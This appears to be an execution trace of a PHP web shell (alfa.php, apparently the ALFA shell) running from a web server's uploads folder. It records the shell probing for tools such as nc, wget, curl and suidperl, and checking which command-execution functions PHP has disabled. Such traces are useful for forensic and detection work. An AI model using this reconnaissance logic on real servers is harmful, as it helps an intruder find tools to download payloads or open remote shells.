6	345	0	0.046069	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which ruby'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	346	0	0.046104	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	346	1	0.046124	2801592
7	346	R			TRUE
7	347	0	0.046145	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which ruby'	''
7	347	1	0.047473	2801696
7	347	R			''
7	348	0	0.047505	2801632	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[]
7	348	1	0.047522	2801696
7	348	R			''
6		A						/var/www/html/uploads/alfa.php	763	$out = ''
6	345	1	0.047548	2801552
6	345	R			''
5		A						/var/www/html/uploads/alfa.php	744	$data = ''
5	344	1	0.047572	2801552
5	344	R			''
4		A						/var/www/html/uploads/alfa.php	2404	$path = ''
4	343	1	0.047595	2801512
4	343	R			FALSE
4	349	0	0.047609	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1155	1	'tar'
5	350	0	0.047623	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which tar'	FALSE	FALSE	???
6	351	0	0.047638	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which tar'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	352	0	0.047662	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	352	1	0.047676	2801592
7	352	R			TRUE
7	353	0	0.047689	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which tar'	''
7	353	1	0.049002	2802096
7	353	R			'/usr/bin/tar'
7	354	0	0.049036	2801992	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[0 => '/usr/bin/tar']
7	354	1	0.049054	2802056
7	354	R			'/usr/bin/tar'
6		A						/var/www/html/uploads/alfa.php	763	$out = '/usr/bin/tar'
6	351	1	0.049082	2801592
6	351	R			'/usr/bin/tar'
5		A						/var/www/html/uploads/alfa.php	744	$data = '/usr/bin/tar'
5	350	1	0.049109	2801592
5	350	R			'/usr/bin/tar'
4		A						/var/www/html/uploads/alfa.php	2404	$path = '/usr/bin/tar'
4	349	1	0.049134	2801512
4	349	R			12
3		A						/var/www/html/uploads/alfa.php	1155	$x++
4	355	0	0.049160	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1155	1	'gzip'
5	356	0	0.049174	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which gzip'	FALSE	FALSE	???
6	357	0	0.049189	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which gzip'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	358	0	0.049213	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	358	1	0.049227	2801592
7	358	R			TRUE
7	359	0	0.049240	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which gzip'	''
7	359	1	0.050444	2802096
7	359	R			'/usr/bin/gzip'
7	360	0	0.050470	2801992	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[0 => '/usr/bin/gzip']
7	360	1	0.050494	2802056
7	360	R			'/usr/bin/gzip'
6		A						/var/www/html/uploads/alfa.php	763	$out = '/usr/bin/gzip'
6	357	1	0.050522	2801592
6	357	R			'/usr/bin/gzip'
5		A						/var/www/html/uploads/alfa.php	744	$data = '/usr/bin/gzip'
5	356	1	0.050548	2801592
5	356	R			'/usr/bin/gzip'
4		A						/var/www/html/uploads/alfa.php	2404	$path = '/usr/bin/gzip'
4	355	1	0.050573	2801512
4	355	R			13
3		A						/var/www/html/uploads/alfa.php	1155	$x++
4	361	0	0.050597	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1155	1	'bzip'
5	362	0	0.050611	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which bzip'	FALSE	FALSE	???
6	363	0	0.050625	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which bzip'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	364	0	0.050650	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	364	1	0.050664	2801592
7	364	R			TRUE
7	365	0	0.050677	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which bzip'	''
7	365	1	0.051882	2801696
7	365	R			''
7	366	0	0.051905	2801632	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[]
7	366	1	0.051920	2801696
7	366	R			''
6		A						/var/www/html/uploads/alfa.php	763	$out = ''
6	363	1	0.051945	2801552
6	363	R			''
5		A						/var/www/html/uploads/alfa.php	744	$data = ''
5	362	1	0.051968	2801552
5	362	R			''
4		A						/var/www/html/uploads/alfa.php	2404	$path = ''
4	361	1	0.051991	2801512
4	361	R			FALSE
4	367	0	0.052004	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1155	1	'bzialfa2'
5	368	0	0.052019	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which bzialfa2'	FALSE	FALSE	???
6	369	0	0.052033	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which bzialfa2'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	370	0	0.052057	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	370	1	0.052071	2801592
7	370	R			TRUE
7	371	0	0.052083	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which bzialfa2'	''
7	371	1	0.053319	2801696
7	371	R			''
7	372	0	0.053343	2801632	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[]
7	372	1	0.053358	2801696
7	372	R			''
6		A						/var/www/html/uploads/alfa.php	763	$out = ''
6	369	1	0.053383	2801552
6	369	R			''
5		A						/var/www/html/uploads/alfa.php	744	$data = ''
5	368	1	0.053407	2801552
5	368	R			''
4		A						/var/www/html/uploads/alfa.php	2404	$path = ''
4	367	1	0.053430	2801512
4	367	R			FALSE
4	373	0	0.053444	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1155	1	'nc'
5	374	0	0.053458	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which nc'	FALSE	FALSE	???
6	375	0	0.053472	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which nc'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	376	0	0.053496	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	376	1	0.053509	2801592
7	376	R			TRUE
7	377	0	0.053522	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which nc'	''
7	377	1	0.054721	2802096
7	377	R			'/usr/bin/nc'
7	378	0	0.054744	2801992	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[0 => '/usr/bin/nc']
7	378	1	0.054761	2802056
7	378	R			'/usr/bin/nc'
6		A						/var/www/html/uploads/alfa.php	763	$out = '/usr/bin/nc'
6	375	1	0.054788	2801592
6	375	R			'/usr/bin/nc'
5		A						/var/www/html/uploads/alfa.php	744	$data = '/usr/bin/nc'
5	374	1	0.054813	2801592
5	374	R			'/usr/bin/nc'
4		A						/var/www/html/uploads/alfa.php	2404	$path = '/usr/bin/nc'
4	373	1	0.054838	2801512
4	373	R			11
3		A						/var/www/html/uploads/alfa.php	1155	$x++
4	379	0	0.054861	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1155	1	'locate'
5	380	0	0.054875	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which locate'	FALSE	FALSE	???
6	381	0	0.054894	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which locate'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	382	0	0.054918	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	382	1	0.054931	2801592
7	382	R			TRUE
7	383	0	0.054944	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which locate'	''
7	383	1	0.056114	2801696
7	383	R			''
7	384	0	0.056135	2801632	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[]
7	384	1	0.056151	2801696
7	384	R			''
6		A						/var/www/html/uploads/alfa.php	763	$out = ''
6	381	1	0.056176	2801552
6	381	R			''
5		A						/var/www/html/uploads/alfa.php	744	$data = ''
5	380	1	0.056199	2801552
5	380	R			''
4		A						/var/www/html/uploads/alfa.php	2404	$path = ''
4	379	1	0.056222	2801512
4	379	R			FALSE
4	385	0	0.056236	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1155	1	'suidperl'
5	386	0	0.056249	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which suidperl'	FALSE	FALSE	???
6	387	0	0.056265	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which suidperl'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	388	0	0.056289	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	388	1	0.056302	2801592
7	388	R			TRUE
7	389	0	0.056315	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which suidperl'	''
7	389	1	0.057543	2801696
7	389	R			''
7	390	0	0.057566	2801632	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[]
7	390	1	0.057580	2801696
7	390	R			''
6		A						/var/www/html/uploads/alfa.php	763	$out = ''
6	387	1	0.057605	2801552
6	387	R			''
5		A						/var/www/html/uploads/alfa.php	744	$data = ''
5	386	1	0.057629	2801552
5	386	R			''
4		A						/var/www/html/uploads/alfa.php	2404	$path = ''
4	385	1	0.057652	2801512
4	385	R			FALSE
3		A						/var/www/html/uploads/alfa.php	1161	$downloaders = [0 => 'wget', 1 => 'fetch', 2 => 'lynx', 3 => 'links', 4 => 'curl', 5 => 'get', 6 => 'lwp-mirror']
3		A						/var/www/html/uploads/alfa.php	1162	$x = 0
4	391	0	0.057696	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1163	1	'wget'
5	392	0	0.057710	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which wget'	FALSE	FALSE	???
6	393	0	0.057724	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which wget'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	394	0	0.057747	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	394	1	0.057761	2801592
7	394	R			TRUE
7	395	0	0.057774	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which wget'	''
7	395	1	0.058967	2802096
7	395	R			'/usr/bin/wget'
7	396	0	0.058992	2801992	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[0 => '/usr/bin/wget']
7	396	1	0.059009	2802056
7	396	R			'/usr/bin/wget'
6		A						/var/www/html/uploads/alfa.php	763	$out = '/usr/bin/wget'
6	393	1	0.059036	2801592
6	393	R			'/usr/bin/wget'
5		A						/var/www/html/uploads/alfa.php	744	$data = '/usr/bin/wget'
5	392	1	0.059062	2801592
5	392	R			'/usr/bin/wget'
4		A						/var/www/html/uploads/alfa.php	2404	$path = '/usr/bin/wget'
4	391	1	0.059087	2801512
4	391	R			13
3		A						/var/www/html/uploads/alfa.php	1163	$x++
4	397	0	0.059111	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1163	1	'fetch'
5	398	0	0.059125	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which fetch'	FALSE	FALSE	???
6	399	0	0.059139	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which fetch'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	400	0	0.059162	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	400	1	0.059175	2801592
7	400	R			TRUE
7	401	0	0.059188	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which fetch'	''
7	401	1	0.060380	2801696
7	401	R			''
7	402	0	0.060403	2801632	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[]
7	402	1	0.060424	2801696
7	402	R			''
6		A						/var/www/html/uploads/alfa.php	763	$out = ''
6	399	1	0.060449	2801552
6	399	R			''
5		A						/var/www/html/uploads/alfa.php	744	$data = ''
5	398	1	0.060473	2801552
5	398	R			''
4		A						/var/www/html/uploads/alfa.php	2404	$path = ''
4	397	1	0.060496	2801512
4	397	R			FALSE
4	403	0	0.060510	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1163	1	'lynx'
5	404	0	0.060524	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which lynx'	FALSE	FALSE	???
6	405	0	0.060538	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which lynx'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	406	0	0.060562	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	406	1	0.060578	2801592
7	406	R			TRUE
7	407	0	0.060591	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which lynx'	''
7	407	1	0.061804	2801696
7	407	R			''
7	408	0	0.061827	2801632	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[]
7	408	1	0.061842	2801696
7	408	R			''
6		A						/var/www/html/uploads/alfa.php	763	$out = ''
6	405	1	0.061868	2801552
6	405	R			''
5		A						/var/www/html/uploads/alfa.php	744	$data = ''
5	404	1	0.061891	2801552
5	404	R			''
4		A						/var/www/html/uploads/alfa.php	2404	$path = ''
4	403	1	0.061913	2801512
4	403	R			FALSE
4	409	0	0.061927	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1163	1	'links'
5	410	0	0.061941	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which links'	FALSE	FALSE	???
6	411	0	0.061955	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which links'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	412	0	0.061980	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	412	1	0.061993	2801592
7	412	R			TRUE
7	413	0	0.062006	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which links'	''
7	413	1	0.063194	2801696
7	413	R			''
7	414	0	0.063217	2801632	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[]
7	414	1	0.063232	2801696
7	414	R			''
6		A						/var/www/html/uploads/alfa.php	763	$out = ''
6	411	1	0.063257	2801552
6	411	R			''
5		A						/var/www/html/uploads/alfa.php	744	$data = ''
5	410	1	0.063281	2801552
5	410	R			''
4		A						/var/www/html/uploads/alfa.php	2404	$path = ''
4	409	1	0.063304	2801512
4	409	R			FALSE
4	415	0	0.063317	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1163	1	'curl'
5	416	0	0.063331	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which curl'	FALSE	FALSE	???
6	417	0	0.063346	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which curl'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	418	0	0.063370	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	418	1	0.063383	2801592
7	418	R			TRUE
7	419	0	0.063397	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which curl'	''
7	419	1	0.064621	2802096
7	419	R			'/usr/bin/curl'
7	420	0	0.064647	2801992	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[0 => '/usr/bin/curl']
7	420	1	0.064663	2802056
7	420	R			'/usr/bin/curl'
6		A						/var/www/html/uploads/alfa.php	763	$out = '/usr/bin/curl'
6	417	1	0.064690	2801592
6	417	R			'/usr/bin/curl'
5		A						/var/www/html/uploads/alfa.php	744	$data = '/usr/bin/curl'
5	416	1	0.064715	2801592
5	416	R			'/usr/bin/curl'
4		A						/var/www/html/uploads/alfa.php	2404	$path = '/usr/bin/curl'
4	415	1	0.064740	2801512
4	415	R			13
3		A						/var/www/html/uploads/alfa.php	1163	$x++
4	421	0	0.064763	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1163	1	'get'
5	422	0	0.064777	2801552	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which get'	FALSE	FALSE	???
6	423	0	0.064791	2801552	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which get'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	424	0	0.064821	2801552	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	424	1	0.064835	2801592
7	424	R			TRUE
7	425	0	0.064848	2801576	exec	0		/var/www/html/uploads/alfa.php	762	2	'which get'	''
7	425	1	0.066042	2801696
7	425	R			''
7	426	0	0.066065	2801632	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[]
7	426	1	0.066080	2801696
7	426	R			''
6		A						/var/www/html/uploads/alfa.php	763	$out = ''
6	423	1	0.066105	2801552
6	423	R			''
5		A						/var/www/html/uploads/alfa.php	744	$data = ''
5	422	1	0.066128	2801552
5	422	R			''
4		A						/var/www/html/uploads/alfa.php	2404	$path = ''
4	421	1	0.066151	2801512
4	421	R			FALSE
4	427	0	0.066164	2801512	alfaWhich	1		/var/www/html/uploads/alfa.php	1163	1	'lwp-mirror'
5	428	0	0.066178	2801560	alfaEx	1		/var/www/html/uploads/alfa.php	2404	4	'which lwp-mirror'	FALSE	FALSE	???
6	429	0	0.066192	2801560	_alfa_php_cmd	1		/var/www/html/uploads/alfa.php	744	2	'which lwp-mirror'	FALSE
6		A						/var/www/html/uploads/alfa.php	758	$out = ''
7	430	0	0.066217	2801560	function_exists	0		/var/www/html/uploads/alfa.php	761	1	'exec'
7	430	1	0.066230	2801600
7	430	R			TRUE
7	431	0	0.066244	2801584	exec	0		/var/www/html/uploads/alfa.php	762	2	'which lwp-mirror'	''
7	431	1	0.067445	2802120
7	431	R			'/usr/bin/lwp-mirror'
7	432	0	0.067470	2802008	join	0		/var/www/html/uploads/alfa.php	763	2	'\n'	[0 => '/usr/bin/lwp-mirror']
7	432	1	0.067487	2802072
7	432	R			'/usr/bin/lwp-mirror'
6		A						/var/www/html/uploads/alfa.php	763	$out = '/usr/bin/lwp-mirror'
6	429	1	0.067514	2801608
6	429	R			'/usr/bin/lwp-mirror'
5		A						/var/www/html/uploads/alfa.php	744	$data = '/usr/bin/lwp-mirror'
5	428	1	0.067540	2801608
5	428	R			'/usr/bin/lwp-mirror'
4		A						/var/www/html/uploads/alfa.php	2404	$path = '/usr/bin/lwp-mirror'
4	427	1	0.067565	2801512
4	427	R			19
3		A						/var/www/html/uploads/alfa.php	1163	$x++
4	433	0	0.067590	2801512	function_exists	0		/var/www/html/uploads/alfa.php	1181	1	'get_magic_quotes_gpc'
4	433	1	0.067604	2801552
4	433	R			TRUE
4	434	0	0.067617	2801512	get_magic_quotes_gpc	0		/var/www/html/uploads/alfa.php	1181	0
4	434	1	0.067629	2801512
4	434	R			FALSE
3		A						/var/www/html/uploads/alfa.php	1181	$quotes = FALSE
3		A						/var/www/html/uploads/alfa.php	1181	$magic = '<span class="header_off">OFF</span>'
4	435	0	0.067666	2801512	Alfa_GetDisable_Function	1		/var/www/html/uploads/alfa.php	1183	0
5	436	0	0.067680	2801512	ini_get	0		/var/www/html/uploads/alfa.php	917	1	'disable_functions'
5	436	1	0.067694	2801992
5	436	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4		A						/var/www/html/uploads/alfa.php	917	$disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4		A						/var/www/html/uploads/alfa.php	918	$afa = '<span class="header_show_all">All Functions Accessible</span>'
5	437	0	0.067754	2801960	explode	0		/var/www/html/uploads/alfa.php	920	2	','	'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
5	437	1	0.067777	2804432
5	437	R			[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4		A						/var/www/html/uploads/alfa.php	920	$s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5	438	0	0.067843	2804360	array_unique	0		/var/www/html/uploads/alfa.php	921	1	[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5	438	1	0.067881	2805728
5	438	R			[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4		A						/var/www/html/uploads/alfa.php	921	$s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4		A						/var/www/html/uploads/alfa.php	922	$i = 0
4		A						/var/www/html/uploads/alfa.php	923	$b = 0
4		A						/var/www/html/uploads/alfa.php	924	$func = [0 => 'system', 1 => 'exec', 2 => 'shell_exec', 3 => 'proc_open', 4 => 'popen', 5 => 'passthru', 6 => 'symlink', 7 => 'dl']
4		A						/var/www/html/uploads/alfa.php	925	$black_list = []
4		A						/var/www/html/uploads/alfa.php	926	$allow_list = []
5	439	0	0.068000	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_alarm'
5	439	1	0.068013	2804392
5	439	R			'pcntl_alarm'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_alarm'
5	440	0	0.068039	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_alarm'
5	440	1	0.068054	2804392
5	440	R			FALSE
5	441	0	0.068068	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_fork'
5	441	1	0.068080	2804392
5	441	R			'pcntl_fork'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_fork'
5	442	0	0.068104	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_fork'
5	442	1	0.068118	2804392
5	442	R			FALSE
5	443	0	0.068131	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_waitpid'
5	443	1	0.068143	2804392
5	443	R			'pcntl_waitpid'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_waitpid'
5	444	0	0.068167	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_waitpid'
5	444	1	0.068180	2804392
5	444	R			FALSE
5	445	0	0.068193	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_wait'
5	445	1	0.068205	2804392
5	445	R			'pcntl_wait'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_wait'
5	446	0	0.068228	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_wait'
5	446	1	0.068241	2804392
5	446	R			FALSE
5	447	0	0.068254	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_wifexited'
5	447	1	0.068266	2804392
5	447	R			'pcntl_wifexited'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_wifexited'
5	448	0	0.068291	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_wifexited'
5	448	1	0.068304	2804392
5	448	R			FALSE
5	449	0	0.068317	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_wifstopped'
5	449	1	0.068329	2804392
5	449	R			'pcntl_wifstopped'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_wifstopped'
5	450	0	0.068353	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_wifstopped'
5	450	1	0.068366	2804392
5	450	R			FALSE
5	451	0	0.068379	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_wifsignaled'
5	451	1	0.068391	2804392
5	451	R			'pcntl_wifsignaled'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_wifsignaled'
5	452	0	0.068415	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_wifsignaled'
5	452	1	0.068428	2804392
5	452	R			FALSE
5	453	0	0.068443	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_wifcontinued'
5	453	1	0.068456	2804392
5	453	R			'pcntl_wifcontinued'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_wifcontinued'
5	454	0	0.068482	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_wifcontinued'
5	454	1	0.068495	2804392
5	454	R			FALSE
5	455	0	0.068531	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_wexitstatus'
5	455	1	0.068548	2804392
5	455	R			'pcntl_wexitstatus'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_wexitstatus'
5	456	0	0.068586	2804360	is_callable	0		/var/www/html/uploads/alfa.php	929	1	'pcntl_wexitstatus'
5	456	1	0.068600	2804392
5	456	R			FALSE
5	457	0	0.068613	2804360	trim	0		/var/www/html/uploads/alfa.php	928	1	'pcntl_wtermsig'
5	457	1	0.068625	2804392
5	457	R			'pcntl_wtermsig'
4		A						/var/www/html/uploads/alfa.php	928	$d = 'pcntl_wtermsig'
